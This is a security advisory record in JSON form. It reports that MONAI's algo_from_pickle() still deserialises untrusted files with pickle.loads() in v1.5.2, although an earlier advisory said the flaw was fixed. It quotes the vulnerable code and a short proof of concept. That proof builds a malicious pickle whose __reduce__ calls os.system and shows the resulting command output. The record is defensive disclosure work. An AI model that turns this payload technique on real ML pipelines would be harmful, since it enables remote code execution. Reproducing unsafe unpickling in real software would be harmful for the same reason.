{"id":"GHSA-qxq5-qhx6-94qw","title":"Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming      patch","summary":"Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming      patch","severity":"high","cvss":7.8,"cwe":["CWE-502"],"vendor":"monai","product":"monai","ecosystem":"pip","affected":["monai < 1.6.0"],"patched":["monai 1.6.0"],"published":"2026-08-18","updated":"2026-08-18","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-qxq5-qhx6-94qw","references":[{"url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-qxq5-qhx6-94qw"},{"url":"https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"},{"url":"https://github.com/advisories/GHSA-89gg-p5r5-q6r4"},{"url":"https://github.com/advisories/GHSA-qxq5-qhx6-94qw"}],"tags":["ghsa","pip"],"ingestedAt":"2026-08-18T21:23:00.218Z","slug":"GHSA-qxq5-qhx6-94qw","body":"## Overview\n\n## Summary\n\n  GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in\n  `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py`\n  has not been modified since 2024-07-12 — 18 months before v1.5.2 was released\n  (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was\n  never implemented.\n\n  ## Vulnerable Code\n\n  File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2)\n\n  ```python\n  def algo_from_pickle(pkl_filename: str, ...):\n      with open(pkl_filename, \"rb\") as f_pi:\n          data_bytes = f_pi.read()\n      data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here\n\n      # isinstance/key checks happen AFTER deserialization — already too late\n\n      algo_bytes = data.pop(\"algo_bytes\")\n      ...\n      if len(template_paths_candidates) == 0:\n          algo = pickle.loads(algo_bytes)      # SINK 2 — line 350\n      else:\n          for p in template_paths_candidates:\n              algo = pickle.loads(algo_bytes)  # SINK 3 — line 356\n\n  No Unpickler subclass, no find_class restriction, no allowlist.\n\n  Why the Fix is Incomplete\n\n  - monai/auto3dseg/utils.py last commit: 2024-07-12 (\"drop python 3.8\")\n  - v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes\n  - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356\n  - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch\n\n  PoC\n\n  import pickle, os\n\n  class Exploit:\n      def __reduce__(self):\n          return (os.system, ('id > /tmp/rce_proof.txt',))\n\n  # Craft malicious pkl\n  data = {\"algo_bytes\": pickle.dumps(Exploit()), \"template_path\": None}\n  with open(\"/tmp/evil.pkl\", \"wb\") as f:\n      f.write(pickle.dumps(data))\n\n  # Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim\n  with open(\"/tmp/evil.pkl\", \"rb\") as f:\n      data = pickle.loads(f.read())        # SINK 1 fires — RCE here\n  algo = pickle.loads(data[\"algo_bytes\"])  # SINK 2 fires\n\n  print(open(\"/tmp/rce_proof.txt\").read())\n  # uid=1000(user) gid=1000(user) groups=...\n\n  Verified on monai v1.5.2 (utils.py verbatim source):\n  [+] RCE CONFIRMED via algo_from_pickle():\n      desktop-5657tb1\\woong\n\n  Impact\n\n  Any application or ML pipeline calling algo_from_pickle() with an\n  attacker-supplied file path is vulnerable to full RCE. Medical AI workflows\n  frequently exchange model checkpoints, making this a realistic attack vector.\n\n## Affected packages\n\n- `monai < 1.6.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `monai 1.6.0`","depth":"twilight","depthScore":43,"depthScoreParts":{"impact":42.9,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}